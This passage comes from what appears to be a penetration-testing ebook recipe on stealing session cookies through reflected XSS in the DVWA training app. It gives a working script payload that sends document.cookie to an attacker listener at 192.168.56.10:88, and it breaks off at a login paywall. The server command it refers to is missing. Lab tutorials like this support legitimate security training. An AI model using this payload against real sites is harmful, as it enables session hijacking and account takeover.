How to do it...

The attacker needs to have a server to receive the exfiltrated data (session cookies, in this case), so we will use a simple Python module to set it up. These are the steps:

  1. To start a basic HTTP server with Python, run the following command in a Terminal in Kali Linux:
  1. Now log in to DVWA and go to XSS reflected.
  2. Enter the following payload in the Name textbox:
Bob<script>document.write('<img src="http://192.168.56.10:88/'+document.cookie+'">');</script>
  1. Now, go back to the Terminal where the Python server is running and see how it has received a new request:

Notice that the URL parameter (after GET) contains the user's session cookie.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
18.116.36.71